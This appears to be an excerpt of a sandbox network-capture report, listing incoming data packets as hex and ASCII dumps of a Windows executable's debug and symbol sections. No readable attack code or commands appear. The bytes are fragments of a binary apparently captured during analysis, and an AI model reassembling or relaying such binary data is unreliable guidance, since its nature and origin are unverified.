2022-07-20 08:32:58 UTC	2178	IN	Data Raw: 00 16 0d 14 05 2c 28 00 00 13 47 55 49 44 5f 50 52 4f 43 45 53 53 4f 52 5f 50 41 52 4b 49 4e 47 5f 50 45 52 46 5f 53 54 41 54 45 00 16 0e 14 05 2c 28 00 00 13 47 55 49 44 5f 50 52 4f 43 45 53 53 4f 52 5f 50 41 52 4b 49 4e 47 5f 43 4f 4e 43 55 52 52 45 4e 43 59 5f 54 48 52 45 53 48 4f 4c 44 00 16 0f 14 05 2c 28 00 00 13 47 55 49 44 5f 50 52 4f 43 45 53 53 4f 52 5f 50 41 52 4b 49 4e 47 5f 48 45 41 44 52 4f 4f 4d 5f 54 48 52 45 53 48 4f 4c 44 00 16 10 14 05 2c 28 00 00 13 47 55 49 44 5f 50 52 4f 43 45 53 53 4f 52 5f 50 45 52 46 5f 48 49 53 54 4f 52 59 00 16 11 14 05 2c 28 00 00 13 47 55 49 44 5f 50 52 4f 43 45 53 53 4f 52 5f 50 45 52 46 5f 4c 41 54 45 4e 43 59 5f 48 49 4e 54 00 16 12 14 05 2c 28 00 00 13 47 55 49 44 5f 50 52 4f 43 45 53 53 4f 52 5f 44 49 53 Data Ascii: ,(GUID_PROCESSOR_PARKING_PERF_STATE,(GUID_PROCESSOR_PARKING_CONCURRENCY_THRESHOLD,(GUID_PROCESSOR_PARKING_HEADROOM_THRESHOLD,(GUID_PROCESSOR_PERF_HISTORY,(GUID_PROCESSOR_PERF_LATENCY_HINT,(GUID_PROCESSOR_DIS
2022-07-20 08:32:58 UTC	2179	IN	Data Raw: 45 5f 41 43 43 4f 55 4e 54 49 4e 47 5f 47 55 49 44 00 16 25 16 05 2c 28 00 00 13 50 50 4d 5f 49 44 4c 45 5f 41 43 43 4f 55 4e 54 49 4e 47 5f 45 58 5f 47 55 49 44 00 16 26 16 05 2c 28 00 00 13 50 50 4d 5f 54 48 45 52 4d 41 4c 43 4f 4e 53 54 52 41 49 4e 54 5f 47 55 49 44 00 16 27 16 05 2c 28 00 00 13 50 50 4d 5f 50 45 52 46 4d 4f 4e 5f 50 45 52 46 53 54 41 54 45 5f 47 55 49 44 00 16 28 16 05 2c 28 00 00 13 50 50 4d 5f 54 48 45 52 4d 41 4c 5f 50 4f 4c 49 43 59 5f 43 48 41 4e 47 45 5f 47 55 49 44 00 16 29 16 05 2c 28 00 00 04 52 50 43 5f 49 46 5f 48 41 4e 44 4c 45 00 17 42 11 42 09 00 00 19 74 61 67 43 4f 49 4e 49 54 42 41 53 45 00 07 04 3b 01 00 00 18 95 0e d9 3d 00 00 1a 43 4f 49 4e 49 54 42 41 53 45 5f 4d 55 4c 54 49 54 48 52 45 41 44 45 44 00 00 00 12 49 Data Ascii: E_ACCOUNTING_GUID%,(PPM_IDLE_ACCOUNTING_EX_GUID&,(PPM_THERMALCONSTRAINT_GUID',(PPM_PERFMON_PERFSTATE_GUID(,(PPM_THERMAL_POLICY_CHANGE_GUID),(RPC_IF_HANDLEBBtagCOINITBASE;=COINITBASE_MULTITHREADEDI
2022-07-20 08:32:58 UTC	2195	IN	Data Raw: b5 92 00 00 b1 92 00 00 36 5f 37 42 00 58 92 00 00 0c 7d 00 00 30 01 50 02 75 00 30 01 52 03 91 4c 06 30 01 51 02 73 08 30 02 74 00 02 91 5c 00 2f 66 37 42 00 27 95 00 00 30 01 50 02 75 00 00 00 33 63 83 00 00 ed 36 42 00 00 00 ed 36 42 00 11 00 00 00 01 ea 02 07 53 7d 00 00 34 78 83 00 00 d5 92 00 00 d3 92 00 00 34 86 83 00 00 eb 92 00 00 e9 92 00 00 00 33 38 92 00 00 1b 37 42 00 04 00 1b 37 42 00 05 00 00 00 01 c5 02 0f 7c 7d 00 00 34 4d 92 00 00 00 93 00 00 fe 92 00 00 00 36 2d 37 42 00 63 87 00 00 90 7d 00 00 30 01 50 02 75 00 00 2f 39 37 42 00 5c 89 00 00 30 01 52 02 77 00 00 00 37 ea 91 00 00 c9 36 42 00 01 00 18 0c 00 00 01 b9 02 0c d3 7d 00 00 34 00 92 00 00 17 93 00 00 13 93 00 00 34 0c 92 00 00 3e 93 00 00 38 93 00 00 00 37 17 92 00 00 fe 36 42 Data Ascii: 6_7BX}0Pu0RL0Qs0t\/f7B'0Pu3c6B6BS}4x4387B7B\|}4M6-7Bc}0Pu/97B\0Rw76B}44>876B
2022-07-20 08:32:58 UTC	2196	IN	Data Raw: 00 00 01 1c 02 32 13 6b 00 00 e1 96 00 00 db 96 00 00 50 a4 01 00 00 01 1d 02 16 2b 23 00 00 13 97 00 00 0d 97 00 00 2c 61 00 01 22 02 10 b5 81 00 00 48 97 00 00 42 97 00 00 2c 6e 00 01 26 02 0a 2c 01 00 00 76 97 00 00 72 97 00 00 2c 6d 00 01 27 02 07 4b 01 00 00 a4 97 00 00 96 97 00 00 2e 60 0b 00 00 5b 81 00 00 2c 74 6d 70 00 01 34 02 07 49 6b 00 00 02 98 00 00 fe 97 00 00 00 36 87 31 42 00 bb 81 00 00 8a 81 00 00 30 01 50 03 91 58 06 30 01 52 02 75 00 30 01 51 02 77 00 30 02 74 00 02 76 01 30 02 74 04 02 73 00 00 2f c6 31 42 00 bb 81 00 00 30 01 50 02 76 00 30 01 52 02 75 00 30 01 51 03 91 54 06 30 02 74 00 01 30 30 02 74 04 02 73 00 00 00 07 04 49 6b 00 00 54 66 72 61 6d 65 5f 64 6f 77 6e 68 65 61 70 00 01 02 02 01 80 30 42 00 b8 00 00 00 01 9c aa 82 Data Ascii: 2kP+#,a"HB,n&,vr,m'K.`[,tmp4Ik61B0PX0Ru0Qw0tv0ts/1B0Pv0Ru0QT0t00tsIkTframe_downheap0B
2022-07-20 08:32:58 UTC	2212	IN	Data Raw: 5f 5f 6e 65 77 63 6c 6d 61 70 00 11 50 1e bd 23 00 00 12 5f 5f 6e 65 77 63 75 6d 61 70 00 11 51 1e bd 23 00 00 12 5f 5f 70 74 6c 6f 63 69 6e 66 6f 00 11 52 19 9f 01 00 00 12 5f 5f 70 74 6d 62 63 69 6e 66 6f 00 11 53 19 5a 03 00 00 12 5f 5f 67 6c 6f 62 61 6c 6c 6f 63 61 6c 65 73 74 61 74 75 73 00 11 54 0e 34 01 00 00 12 5f 5f 6c 6f 63 61 6c 65 5f 63 68 61 6e 67 65 64 00 11 55 0e 34 01 00 00 12 5f 5f 69 6e 69 74 69 61 6c 6c 6f 63 69 6e 66 6f 00 11 56 28 bd 01 00 00 12 5f 5f 69 6e 69 74 69 61 6c 6c 6f 63 61 6c 65 73 74 72 75 63 74 69 6e 66 6f 00 11 57 1a ce 03 00 00 02 01 06 73 69 67 6e 65 64 20 63 68 61 72 00 02 08 07 6c 6f 6e 67 20 6c 6f 6e 67 20 75 6e 73 69 67 6e 65 64 20 69 6e 74 00 0f 5f 47 55 49 44 00 10 12 13 10 f6 24 00 00 10 44 61 74 61 31 00 12 14 Data Ascii: __newclmapP#__newcumapQ#__ptlocinfoR__ptmbcinfoSZ__globallocalestatusT4__locale_changedU4__initiallocinfoV(__initiallocalestructinfoWsigned charlong long unsigned int_GUID$Data1
2022-07-20 08:32:59 UTC	2213	IN	Data Raw: 5f 4d 4f 4e 49 54 4f 52 5f 50 4f 57 45 52 5f 4f 4e 00 13 ba 13 05 13 25 00 00 13 47 55 49 44 5f 44 45 56 49 43 45 5f 50 4f 57 45 52 5f 50 4f 4c 49 43 59 5f 56 49 44 45 4f 5f 42 52 49 47 48 54 4e 45 53 53 00 13 bb 13 05 13 25 00 00 13 47 55 49 44 5f 44 45 56 49 43 45 5f 50 4f 57 45 52 5f 50 4f 4c 49 43 59 5f 56 49 44 45 4f 5f 44 49 4d 5f 42 52 49 47 48 54 4e 45 53 53 00 13 bc 13 05 13 25 00 00 13 47 55 49 44 5f 56 49 44 45 4f 5f 43 55 52 52 45 4e 54 5f 4d 4f 4e 49 54 4f 52 5f 42 52 49 47 48 54 4e 45 53 53 00 13 bd 13 05 13 25 00 00 13 47 55 49 44 5f 56 49 44 45 4f 5f 41 44 41 50 54 49 56 45 5f 44 49 53 50 4c 41 59 5f 42 52 49 47 48 54 4e 45 53 53 00 13 be 13 05 13 25 00 00 13 47 55 49 44 5f 43 4f 4e 53 4f 4c 45 5f 44 49 53 50 4c 41 59 5f 53 54 41 54 45 00 Data Ascii: _MONITOR_POWER_ON%GUID_DEVICE_POWER_POLICY_VIDEO_BRIGHTNESS%GUID_DEVICE_POWER_POLICY_VIDEO_DIM_BRIGHTNESS%GUID_VIDEO_CURRENT_MONITOR_BRIGHTNESS%GUID_VIDEO_ADAPTIVE_DISPLAY_BRIGHTNESS%GUID_CONSOLE_DISPLAY_STATE
2022-07-20 08:32:59 UTC	2229	IN	Data Raw: 00 21 04 01 28 03 e9 67 00 00 22 6f 66 66 73 65 74 00 01 29 0d b4 67 00 00 22 70 74 72 00 01 2a 0b 3c 09 00 00 00 0f 5f 5f 65 6d 75 74 6c 73 5f 6f 62 6a 65 63 74 00 10 01 24 08 3b 68 00 00 1b 1a 02 00 00 01 26 08 a7 67 00 00 00 10 61 6c 69 67 6e 00 01 27 08 a7 67 00 00 04 10 6c 6f 63 00 01 2b 05 c4 67 00 00 08 10 74 65 6d 70 6c 00 01 2c 09 3c 09 00 00 0c 00 0f 5f 5f 65 6d 75 74 6c 73 5f 61 72 72 61 79 00 04 01 2f 08 6f 68 00 00 1b 1a 02 00 00 01 31 0b b4 67 00 00 00 10 64 61 74 61 00 01 32 0a 6f 68 00 00 04 00 0d 3e 09 00 00 7e 68 00 00 23 24 01 00 00 00 24 65 6d 75 74 6c 73 5f 6d 75 74 65 78 00 01 3c 1a 5a 22 00 00 05 03 24 74 60 00 24 65 6d 75 74 6c 73 5f 6b 65 79 00 01 3e 18 cf 21 00 00 05 03 20 74 60 00 24 65 6d 75 74 6c 73 5f 73 69 7a 65 00 01 3f 10 Data Ascii: !(g"offset)g"ptr*<__emutls_object$;h&galign'gloc+gtempl,<__emutls_array/oh1gdata2oh>~h#$$emutls_mutex<Z"$t`$emutls_key>! t`$emutls_size?
2022-07-20 08:32:59 UTC	2230	IN	Data Raw: 00 00 2d b9 70 00 00 55 b0 00 00 53 b0 00 00 2d aa 70 00 00 6a b0 00 00 68 b0 00 00 00 38 de 4a 42 00 ef 72 00 00 fb 6b 00 00 32 02 74 00 02 76 21 32 02 74 04 01 34 00 30 5f e6 4a 00 02 73 00 00 00 2b 88 12 00 00 e7 6c 00 00 2a 6f 72 69 67 5f 73 69 7a 65 00 01 a7 0f b4 67 00 00 85 b0 00 00 81 b0 00 00 36 1a 02 00 00 01 a8 0f b4 67 00 00 a8 b0 00 00 a4 b0 00 00 2c 86 70 00 00 ee 4a 42 00 04 a0 12 00 00 01 b1 07 98 6c 00 00 2d b9 70 00 00 c9 b0 00 00 c7 b0 00 00 2d aa 70 00 00 de b0 00 00 dc b0 00 00 39 c8 70 00 00 ee 4a 42 00 24 00 00 00 38 00 4b 42 00 13 73 00 00 8d 6c 00 00 32 02 74 04 02 73 00 00 30 0d 4b 42 00 31 73 00 00 00 00 38 38 4b 42 00 51 73 00 00 b9 6c 00 00 32 02 74 00 02 73 00 32 02 74 04 07 91 58 06 32 24 23 04 00 31 69 4b 42 00 66 73 00 00 Data Ascii: -pUS-pjh8JBrk2tv!2t40_Js+l*orig_sizeg6g,pJBl-p-p9pJB$8KBsl2ts0KB1s88KBQsl2ts2tX2$#1iKBfs
2022-07-20 08:32:59 UTC	2246	IN	Data Raw: 04 02 05 04 06 03 c3 07 01 05 0b 06 01 05 04 06 9f 13 05 07 06 01 05 08 06 92 05 25 06 3d 04 01 05 10 03 ad 78 2e 2e 04 02 05 1e 03 d2 07 01 05 08 06 75 04 01 05 0a 06 03 94 78 82 05 10 2a 05 03 06 33 05 07 14 05 10 06 01 05 0c 3c 05 07 06 4b 05 23 06 01 05 2b 58 05 0d 2f 05 0e 3b 05 07 06 2f 05 03 06 14 4a 06 14 13 06 01 04 02 05 04 06 03 fc 06 01 13 05 07 06 01 05 06 06 91 05 1c 06 01 04 01 05 10 03 fb 78 ac 2e e4 05 0a 0f 05 10 2a 05 03 06 33 05 07 14 05 10 06 01 05 0c 3c 05 07 06 4b 05 23 06 01 05 2b 58 05 0d 2f 05 0e 3b 05 07 06 2f 05 03 06 14 06 4c 13 06 01 04 02 05 04 06 03 83 07 01 13 05 07 06 01 05 06 06 91 05 1c 06 01 04 01 05 10 03 f4 78 ac 2e e4 05 0a 0f 05 10 2a 05 03 06 33 05 07 14 05 10 06 01 05 0c 3c 05 07 06 4b 05 23 06 01 05 2b 58 05 0d Data Ascii: %=x..ux3<K#+X/;/Jx.3<K#+X/;/Lx.*3<K#+X
2022-07-20 08:32:59 UTC	2247	IN	Data Raw: 10 06 01 05 0c 3c 05 07 06 4b 05 23 06 01 05 2b 58 05 0d 2f 05 0e 3b 05 07 06 2f 05 03 06 14 06 4c 13 06 01 04 02 05 04 06 03 cf 07 01 13 05 07 06 01 05 08 06 5a 05 1e 06 66 05 08 06 75 05 22 06 01 05 04 06 30 04 01 05 01 03 9b 78 01 05 03 14 13 13 14 05 0a 06 01 05 10 2a 05 03 06 33 05 07 14 05 10 06 01 05 0c 3c 05 07 06 4b 05 23 06 01 05 2b 58 05 0d 2f 05 0e 3b 05 07 06 2f 05 03 06 14 06 4c 13 06 01 04 02 05 04 06 03 97 08 01 05 0d 06 01 05 04 06 2f 04 01 05 0a 06 03 de 77 58 05 10 2a 05 03 06 33 05 07 14 05 10 06 01 05 0c 3c 05 07 06 4b 05 23 06 01 05 2b 58 05 0d 2f 05 0e 3b 05 07 06 2f 05 03 06 14 05 0a 03 0f 4a 05 10 2a 05 03 06 33 05 07 14 05 10 06 01 05 0c 3c 05 07 06 4b 05 23 06 01 05 2b 58 05 0d 2f 05 0e 3b 05 07 06 2f 05 03 06 14 06 4d 05 06 06 Data Ascii: <K#+X/;/LZfu"0x3<K#+X/;/L/wX3<K#+X/;/J*3<K#+X/;/M
2022-07-20 08:32:59 UTC	2263	IN	Data Raw: 07 06 3d 05 0a 06 01 05 07 06 30 05 0a 06 01 4a 05 03 06 17 04 02 05 01 03 f5 7c 01 05 03 14 05 01 03 e2 7d 01 05 03 15 05 06 06 03 9b 02 01 90 04 01 05 07 06 03 8d 03 01 13 14 05 14 06 01 05 07 06 59 05 14 06 01 05 07 06 68 13 05 0a 06 01 05 19 65 05 10 82 05 07 06 3f 05 0a 06 c9 05 07 3b 06 bc 05 13 06 01 05 03 06 77 05 01 06 13 74 2e 05 0e 03 62 58 05 07 06 5b 05 10 06 01 05 07 06 3d 05 0a 06 01 05 07 06 30 05 0a 06 01 82 2e 05 02 06 03 11 01 05 01 03 95 7a 01 05 03 14 04 04 05 01 03 c0 7e 01 05 03 14 05 18 06 01 05 26 3c 04 01 05 0a 03 be 01 3c 58 58 04 02 05 07 06 03 d6 02 01 04 05 05 0a 03 98 05 01 05 04 13 05 0b 06 01 c8 04 02 05 0a 03 e7 7a 01 05 02 06 91 05 09 06 01 08 f2 58 04 01 05 02 06 03 ec 02 01 05 06 06 01 05 02 06 ad 05 05 06 01 05 03 06 Data Ascii: =0J\|}Yhe?;wt.bX[=0.z~&<<XXzX
2022-07-20 08:32:59 UTC	2264	IN	Data Raw: 6e 74 73 2e 68 00 05 00 00 69 33 38 36 2e 68 00 06 00 00 69 33 38 36 2d 6f 70 74 73 2e 68 00 06 00 00 65 78 63 70 74 2e 68 00 03 00 00 6d 69 6e 77 69 6e 64 65 66 2e 68 00 03 00 00 63 74 79 70 65 2e 68 00 03 00 00 67 75 69 64 64 65 66 2e 68 00 03 00 00 77 69 6e 6e 74 2e 68 00 03 00 00 72 70 63 64 63 65 2e 68 00 03 00 00 63 6f 6d 62 61 73 65 61 70 69 2e 68 00 03 00 00 77 74 79 70 65 73 62 61 73 65 2e 68 00 03 00 00 75 6e 6b 6e 77 6e 62 61 73 65 2e 68 00 03 00 00 6f 62 6a 69 64 6c 62 61 73 65 2e 68 00 03 00 00 63 67 75 69 64 2e 68 00 03 00 00 77 74 79 70 65 73 2e 68 00 03 00 00 6f 62 6a 69 64 6c 2e 68 00 03 00 00 6f 6c 65 69 64 6c 2e 68 00 03 00 00 73 65 72 76 70 72 6f 76 2e 68 00 03 00 00 6f 61 69 64 6c 2e 68 00 03 00 00 6d 73 78 6d 6c 2e 68 00 03 00 00 75 Data Ascii: nts.hi386.hi386-opts.hexcpt.hminwindef.hctype.hguiddef.hwinnt.hrpcdce.hcombaseapi.hwtypesbase.hunknwnbase.hobjidlbase.hcguid.hwtypes.hobjidl.holeidl.hservprov.hoaidl.hmsxml.hu
2022-07-20 08:32:59 UTC	2280	IN	Data Raw: 72 17 42 00 01 00 53 72 17 42 00 77 17 42 00 01 00 50 9b 17 42 00 ca 17 42 00 01 00 53 ca 17 42 00 d7 17 42 00 01 00 50 d7 17 42 00 f2 17 42 00 06 00 91 40 06 23 08 9f a4 18 42 00 ba 18 42 00 06 00 91 40 06 23 08 9f b8 1a 42 00 bd 1a 42 00 06 00 91 40 06 23 08 9f 00 00 00 00 00 00 00 00 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e1 16 42 00 32 17 42 00 01 00 55 32 17 42 00 6b 17 42 00 02 00 30 9f 6b 17 42 00 72 17 42 00 01 00 56 79 17 42 00 93 17 42 00 01 00 53 9b 17 42 00 a8 17 42 00 02 00 30 9f d7 17 42 00 f2 17 42 00 01 00 55 84 18 42 00 8c 18 42 00 01 00 55 a4 18 42 00 ba 18 42 00 01 00 55 b8 1a 42 00 bd 1a 42 00 01 00 55 00 00 00 00 00 00 00 00 04 00 00 00 00 00 03 00 00 00 00 00 e1 16 42 00 ee 16 42 00 0b 00 91 48 06 91 48 06 06 22 23 04 Data Ascii: rBSrBwBPBBSBBPBB@#BB@#BB@#B2BU2BkB0kBrBVyBBSBB0BBUBBUBBUBBUBBHH"#
2022-07-20 08:32:59 UTC	2281	IN	Data Raw: 42 00 36 15 42 00 01 00 53 36 15 42 00 0d 16 42 00 02 00 91 44 14 16 42 00 2f 16 42 00 03 00 76 7f 9f 2f 16 42 00 35 16 42 00 01 00 56 35 16 42 00 4e 16 42 00 03 00 76 7f 9f 4e 16 42 00 50 16 42 00 01 00 56 50 16 42 00 70 16 42 00 01 00 53 70 16 42 00 75 16 42 00 01 00 51 75 16 42 00 86 16 42 00 02 00 91 44 86 16 42 00 9d 16 42 00 03 00 76 7f 9f 9d 16 42 00 9f 16 42 00 01 00 56 9f 16 42 00 ce 16 42 00 03 00 76 7f 9f ce 16 42 00 d3 16 42 00 01 00 56 d3 16 42 00 e1 16 42 00 03 00 76 7f 9f 38 18 42 00 69 18 42 00 02 00 91 44 69 18 42 00 6c 18 42 00 03 00 76 01 9f 6c 18 42 00 79 18 42 00 01 00 51 79 18 42 00 84 18 42 00 03 00 76 7f 9f 99 18 42 00 a4 18 42 00 03 00 76 7f 9f ba 18 42 00 d7 18 42 00 02 00 91 44 00 00 00 00 00 00 00 00 00 00 02 00 02 00 02 00 00 Data Ascii: B6BS6BBDB/Bv/B5BV5BNBvNBPBVPBpBSpBuBQuBBDBBvBBVBBvBBVBBv8BiBDiBlBvlByBQyBBvBBvBBD
2022-07-20 08:32:59 UTC	2297	IN	Data Raw: 00 00 00 00 00 00 00 02 02 00 00 02 f4 1f 42 00 f4 1f 42 00 01 00 53 f4 1f 42 00 f7 1f 42 00 03 00 73 01 9f f7 1f 42 00 0b 20 42 00 01 00 53 00 00 00 00 00 00 00 00 00 00 00 01 01 02 f4 1f 42 00 05 20 42 00 01 00 51 05 20 42 00 07 20 42 00 03 00 71 79 9f 07 20 42 00 0b 20 42 00 01 00 51 00 00 00 00 00 00 00 00 00 02 fb 1f 42 00 0b 20 42 00 01 00 52 00 00 00 00 00 00 00 00 00 02 f4 1f 42 00 0b 20 42 00 01 00 56 00 00 00 00 00 00 00 00 00 00 3a 2b 42 00 41 2b 42 00 01 00 50 00 00 00 00 00 00 00 00 01 00 d4 2a 42 00 e4 2a 42 00 02 00 91 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 2a 42 00 67 2a 42 00 02 00 91 04 67 2a 42 00 84 2a 42 00 01 00 50 84 2a 42 00 97 2a 42 00 02 00 91 04 97 2a 42 00 b2 2a 42 00 01 00 50 b2 2a 42 00 b2 2a 42 00 Data Ascii: BBSBBsB BSB BQ B Bqy B BQB BRB BV:+BA+BPBB`BgBgBBPBBBBPBB
2022-07-20 08:32:59 UTC	2298	IN	Data Raw: 47 0b 42 00 62 0b 42 00 04 00 f3 01 51 9f 62 0b 42 00 76 0b 42 00 01 00 51 76 0b 42 00 bd 0b 42 00 01 00 56 bd 0b 42 00 c6 0b 42 00 01 00 51 c6 0b 42 00 ee 0b 42 00 01 00 56 ee 0b 42 00 fb 0b 42 00 01 00 51 0c e6 4a 00 10 e6 4a 00 01 00 51 10 e6 4a 00 11 e6 4a 00 01 00 56 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f2 0a 42 00 18 0b 42 00 01 00 53 18 0b 42 00 1c 0b 42 00 03 00 91 00 06 2c 0b 42 00 37 0b 42 00 01 00 53 37 0b 42 00 3b 0b 42 00 03 00 91 00 06 42 0b 42 00 5e 0b 42 00 01 00 53 5e 0b 42 00 62 0b 42 00 03 00 91 00 06 65 0b 42 00 6a 0b 42 00 01 00 53 b8 0b 42 00 bd 0b 42 00 01 00 53 f3 0b 42 00 fb 0b 42 00 01 00 53 00 00 00 00 00 00 00 00 01 00 00 00 00 00 1c 0b 42 00 2a 0b 42 00 01 00 51 2a 0b 42 00 38 0b 42 00 Data Ascii: GBbBQbBvBQvBBVBBQBBVBBQJJQJJVBBSBB,B7BS7B;BBB^BS^BbBeBjBSBBSBBSBBQB8B
2022-07-20 08:32:59 UTC	2314	IN	Data Raw: 42 00 a0 1f 42 00 b9 1f 42 00 00 00 00 00 00 00 00 00 5b 1e 42 00 84 1e 42 00 b9 1e 42 00 bb 1e 42 00 14 20 42 00 24 20 42 00 00 00 00 00 00 00 00 00 10 1f 42 00 3e 1f 42 00 40 1f 42 00 45 1f 42 00 00 00 00 00 00 00 00 00 45 1f 42 00 64 1f 42 00 66 1f 42 00 70 1f 42 00 00 00 00 00 00 00 00 00 70 1f 42 00 a0 1f 42 00 62 20 42 00 64 20 42 00 66 20 42 00 6d 20 42 00 6f 20 42 00 7b 20 42 00 7d 20 42 00 86 20 42 00 88 20 42 00 94 20 42 00 96 20 42 00 9d 20 42 00 9f 20 42 00 a6 20 42 00 a8 20 42 00 af 20 42 00 b1 20 42 00 b8 20 42 00 ba 20 42 00 c1 20 42 00 c3 20 42 00 ca 20 42 00 cc 20 42 00 d5 20 42 00 d7 20 42 00 e5 20 42 00 e7 20 42 00 f5 20 42 00 f7 20 42 00 05 21 42 00 07 21 42 00 15 21 42 00 17 21 42 00 25 21 42 00 27 21 42 00 31 21 42 00 00 00 00 00 00 Data Ascii: BBB[BBBB B$ BB>B@BEBEBdBfBpBpBBb Bd Bf Bm Bo B{ B} B B B B B B B B B B B B B B B B B B B B B B B!B!B!B!B%!B'!B1!B
2022-07-20 08:32:59 UTC	2315	IN	Data Raw: 42 00 2f e6 4a 00 2f e6 4a 00 00 00 00 00 00 00 00 00 c1 29 42 00 c1 29 42 00 c1 29 42 00 e0 29 42 00 ec 29 42 00 f4 29 42 00 2f e6 4a 00 2f e6 4a 00 00 00 00 00 00 00 00 00 00 2a 42 00 41 2a 42 00 34 e6 4a 00 39 e6 4a 00 00 00 00 00 00 00 00 00 60 2a 42 00 b2 2a 42 00 39 e6 4a 00 3e e6 4a 00 00 00 00 00 00 00 00 00 d4 2a 42 00 d4 2a 42 00 d8 2a 42 00 de 2a 42 00 00 00 00 00 00 00 00 00 b0 2c 42 00 fb 2c 42 00 fb 2c 42 00 0d 2d 42 00 20 2d 42 00 25 2d 42 00 00 00 00 00 00 00 00 00 33 2d 42 00 39 2d 42 00 4a 2d 42 00 55 2d 42 00 00 00 00 00 00 00 00 00 82 2d 42 00 88 2d 42 00 8a 2d 42 00 8a 2d 42 00 00 00 00 00 00 00 00 00 2f 2e 42 00 32 2e 42 00 34 2e 42 00 34 2e 42 00 00 00 00 00 00 00 00 00 70 2e 42 00 0c 2f 42 00 3e e6 4a 00 43 e6 4a 00 00 00 00 00 00 Data Ascii: B/J/J)B)B)B)B)B)B/J/JBAB4J9J`BB9J>JBBBB,B,B,B-B -B%-B3-B9-BJ-BU-B-B-B-B-B/.B2.B4.B4.Bp.B/B>JCJ
2022-07-20 08:32:59 UTC	2331	IN	Data Raw: 00 00 00 00 20 00 02 00 00 00 00 00 fe 43 00 00 00 00 00 00 00 00 20 00 02 00 00 00 00 00 8f 44 00 00 00 00 00 00 00 00 20 00 02 00 00 00 00 00 e1 44 00 00 00 00 00 00 00 00 20 00 02 00 5f 5f 5f 74 63 66 5f 30 fb 9a 00 00 01 00 20 00 03 00 00 00 00 00 d2 46 00 00 0d 9b 00 00 01 00 20 00 03 00 00 00 00 00 ed 6a 00 00 3b 9b 00 00 01 00 20 00 03 00 2e 74 65 78 74 00 00 00 44 80 00 00 01 00 00 00 03 01 13 1b 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 2e 64 61 74 61 00 00 00 c0 29 10 00 02 00 00 00 03 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 62 73 73 00 00 00 00 3c 00 00 00 05 00 00 00 03 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 72 64 61 74 61 00 00 f0 18 00 00 03 00 00 00 03 01 c8 09 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: C D D ___tcf_0 F j; .textDr.data).bss<.rdata
2022-07-20 08:32:59 UTC	2332	IN	Data Raw: 00 00 00 00 00 00 20 00 02 00 00 00 00 00 ac 17 00 00 00 00 00 00 00 00 20 00 02 00 00 00 00 00 40 19 00 00 00 00 00 00 00 00 20 00 02 00 00 00 00 00 ad 1a 00 00 00 00 00 00 00 00 20 00 02 00 00 00 00 00 d3 19 00 00 00 00 00 00 00 00 20 00 02 00 00 00 00 00 76 1b 00 00 00 00 00 00 00 00 20 00 02 00 00 00 00 00 77 1d 00 00 00 00 00 00 00 00 20 00 02 00 00 00 00 00 03 1e 00 00 00 00 00 00 00 00 20 00 02 00 00 00 00 00 ad 1f 00 00 00 00 00 00 00 00 20 00 02 00 00 00 00 00 49 20 00 00 00 00 00 00 00 00 20 00 02 00 00 00 00 00 ee 20 00 00 00 00 00 00 00 00 20 00 02 00 00 00 00 00 a1 22 00 00 00 00 00 00 00 00 20 00 02 00 00 00 00 00 be 23 00 00 00 00 00 00 00 00 20 00 02 00 00 00 00 00 59 24 00 00 00 00 00 00 00 00 20 00 02 00 00 00 00 00 f0 29 00 00 00 00 00 Data Ascii: @ v w I " # Y$ )
2022-07-20 08:32:59 UTC	2348	IN	Data Raw: 02 00 00 00 03 01 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 a8 00 00 a8 3e 10 00 02 00 00 00 03 01 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 a8 00 00 60 9b 00 00 03 00 00 00 03 01 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5a a8 00 00 4c 9c 00 00 03 00 00 00 03 01 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 a8 00 00 50 9c 00 00 03 00 00 00 03 01 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 96 a8 00 00 68 9b 00 00 03 00 00 00 03 01 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 a8 00 00 44 9c 00 00 03 00 00 00 03 01 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cd a8 00 00 48 9c 00 00 03 00 00 Data Ascii: !>A`ZLxPhDH
2022-07-20 08:32:59 UTC	2349	IN	Data Raw: 10 00 02 00 00 00 03 00 00 00 00 00 91 ac 00 00 a0 36 10 00 02 00 00 00 03 00 00 00 00 00 af ac 00 00 84 36 10 00 02 00 00 00 03 00 00 00 00 00 cc ac 00 00 60 31 10 00 02 00 00 00 03 00 00 00 00 00 e7 ac 00 00 80 31 10 00 02 00 00 00 03 00 00 00 00 00 03 ad 00 00 60 37 10 00 02 00 00 00 03 00 00 00 00 00 21 ad 00 00 e0 2c 10 00 02 00 00 00 03 00 00 00 00 00 47 ad 00 00 e0 2b 10 00 02 00 00 00 03 00 00 00 00 00 67 ad 00 00 60 38 10 00 02 00 00 00 03 00 00 00 00 00 85 ad 00 00 70 38 10 00 02 00 00 00 03 00 00 00 00 00 a3 ad 00 00 78 37 10 00 02 00 00 00 03 00 00 00 00 00 c1 ad 00 00 88 2c 10 00 02 00 00 00 03 00 00 00 00 00 e4 ad 00 00 e0 2f 10 00 02 00 00 00 03 00 00 00 00 00 0d ae 00 00 94 2c 10 00 02 00 00 00 03 00 00 00 00 00 30 ae 00 00 40 30 10 00 02 Data Ascii: 66`11`7!,G+g`8p8x7,/,0@0
